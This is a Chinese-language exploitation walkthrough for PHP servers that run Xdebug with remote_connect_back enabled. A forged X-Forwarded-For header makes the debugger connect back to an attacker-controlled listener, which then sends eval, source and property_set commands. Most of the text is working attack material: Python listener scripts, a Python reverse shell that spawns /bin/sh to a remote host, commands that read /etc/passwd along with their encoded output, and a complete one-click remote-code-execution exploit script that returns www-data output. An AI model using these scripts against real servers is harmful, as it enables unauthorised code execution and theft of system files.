xedbug是一个调试php程序的扩展程序,因为php是一个写网站的语言,他的调试和python Java等也有所不同,
几个常见配置
设置调试工具,
xdebug.idekey="PHPSTORM"
绑定远程调试主机地址
xdebug.remote_host=localhost
远程主机监听的端口
xdebug.remote_port=9000
开启回连
xdebug.remote_connect_back = 1
开启xdebug
xdebug.remote_enable = 1
xdebug的回连地址是通过自定义header,来判断回连到哪一个ip地址,
一般由三个属性决定
xdebug.remote_addr_header
X-Forwarded-For
Remote-Addr
xff是可以在请求头中伪造的,所以就算配置了其他的两个,也没有关系,照样可以连接到我指定的ip地址上
默认情况下,
xdebug.remote_connect_back = 0
也叫固定ip模式
这种情况下,后台会去访问
xdebug.remote_host=localhost
xdebug.remote_port=9000
这一对ip 和端口,默认是localhost:9000 这样只适合单一客户端请求
xdebug.remote_connect_back = 1
这时后台会去访问回连地址。依次访问
这时候问题就出现了,如果在请求头中加入一个xff字段,那么就可以让服务器回连到指定的ip地址上
xdebug.remote_connect_back = 1 //开启回连 并且此选项开启时,xdebug会忽略xdebug.remote_host
直接把客户端ip当作回连ip,也就是谁访问它,谁就是回连ip
xdebug.remote_enable = 1 //开启xdebug
xdebug.remote_log = /tmp/test.log
source -i transaction_id -f fileURI
transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 open_basedir。
利用方式
source -i 1 -f file:///etc/passwd
还可以利用php://filter ssrf等
脚本里面要这样写
conn.sendall('source -i 1 -f %s\x00' % data)
eval -i transaction_id -- {DATA}
{DATA} 为 base64 过的 PHP 代码。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):
eval -i 1 -- c3lzdGVtKCJpZCIpOw==
脚本里面要这样写
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
代码执行 和eval一样,要是eval被禁了,可以用这个
/* Do the eval */
eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value);
res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);
利用方式
property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw==
property_get -n $a -i 1 -c 1 -p 0
脚本里面要这样写
conn.sendall('property_set -n $a -i 1 -c 1 -- %s\x00' % data.encode('base64'))
请求头
GET /index.php?XDEBUG_SESSION_START=phpstrom HTTP/1.1
Host: 192.168.110.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For:192.168.110.1
Connection: close
Upgrade-Insecure-Requests: 1
本地监听9000端口
nc -lvp 9000
listening on [any] 9000 ...
192.168.110.140: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.110.1] from (UNKNOWN) [192.168.110.140] 53884: NO_DATA
486 <?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///var/www/html/index.php" language="PHP" xdebug:language_version="7.1.12" protocol_version="1.0" appid="23" idekey="phpstrom"><engine version="2.5.5"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>
可以确定服务端开启了xdebug,并且开启了
先是burp发送请求访问调试界面,这时因为xdebug开启了回连,依次请求
xdebug.remote_addr_header
X-Forwarded-For
Remote-Addr
当访问到X-Forwarded-For的时候,就会访问其所指向的ip和端口(端口默认是9000,会自动的去请求9000端口,所以ip上不用加上9000端口),这时在本地监听9000端口就可以收到xdebug发送的请求
创建一个exp2.py
#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
print(client_data)
data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
这段代码就是代替nc 监听9000端口(eval可以换成source property_set等)
主机运行
python2 exp2.py
burp发包
GET /index.php?XDEBUG_SESSION_START=phpstrom HTTP/1.1
Host: 192.168.110.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For:192.168.110.1
Connection: close
Upgrade-Insecure-Requests: 1
还是刚才那个数据包
也可以这样,更方便一点
curl 'http://192.168.110.140/index.php?XDEBUG_SESSION_START=PHPSTORM' -H "X-Forwarded-For:你的公网IP地址"
在回弹的窗口中执行
>> system('ls');
263 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="9" encoding="base64"><![CDATA[aW5kZXgucGhw]]></property></response>
注意这里的ls命令是在linux下的 如果在windows下,需要cmd命令
这一段
[CDATA[aW5kZXgucGhw]]>
base64解码 就可以拿到文件名 ==>index.php
>> system('curl file:///etc/passwd')
348 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="72" encoding="base64"><![CDATA[c3lzdGVtZC1idXMtcHJveHk6eDoxMDM6MTA2OnN5c3RlbWQgQnVzIFByb3h5LCwsOi9ydW4vc3lzdGVtZDovYmluL2ZhbHNl]]></property></response>
这里好像有字符数量限制
只需要把eval改成这样
conn.sendall('source -i 1 -f file:///%s\x00' % data)
这里还是有点问题,不能一次读完 貌似得用绝对路径
用index.php的时候,报错没找到文件 ./index.php也不行
>> ./index.php
283 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="source" transaction_id="1" status="starting" reason="ok"><error code="100"><message><![CDATA[can not open file]]></message></error></response>
连续两次命令,会把第一次没有发送完的文件,在发送过来(难道是nc接受的问题??? 或者是服务端限制了文件的大小,当第二次读文件的时候,会从上一次结束的地方,继续往下读)
>> /etc/passwd
1805 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="source" transaction_id="1" encoding="base64"><![CDATA[c*vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vb*sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vb*sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vb*sb2dpbgpwc*4eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vb*sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9u
>> /etc/passwd
b2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vb*sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAzOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwNDpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA1OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wc*4eTp4OjEwMzoxMDY6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UK
用python反弹一下
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.110.1",9999));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
利用base64
访问shell.php 可以执行phpinfo()
这里附上 exp p神的一键脚本
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor
pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
def recv_xml(sock):
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break
while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]
if len(blocks) >= 4:
break
return blocks[3]
def trigger(url):
time.sleep(2)
try:
session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
except:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
args = parser.parse_args()
ip_port = ('0.0.0.0', args.listen)
sk = socket.socket()
sk.settimeout(10)
sk.bind(ip_port)
sk.listen(5)
pool.submit(trigger, args.target)
conn, addr = sk.accept()
conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))
data = recv_xml(conn)
print('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
print('[-] No result...')
sys.exit(0)
data = g.group(1)
try:
print('[+] Result: ' + base64.b64decode(data).decode())
except binascii.Error:
print('[-] May be not string result...')
结果
E:\tools\netcat>python3 exp.py -t http://192.168.110.140:8080/index.php -c "shell_exec('id');"
[+] Recieve data: <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="54" encoding="base64"><![CDATA[dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK]]></property></response>
[+] Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)
参考链接
https://blog.spoock.com/2017/09/19/xdebug-attack-surface/
https://www.restran.net/2017/09/16/php-xdebug-cmd-exec/
https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py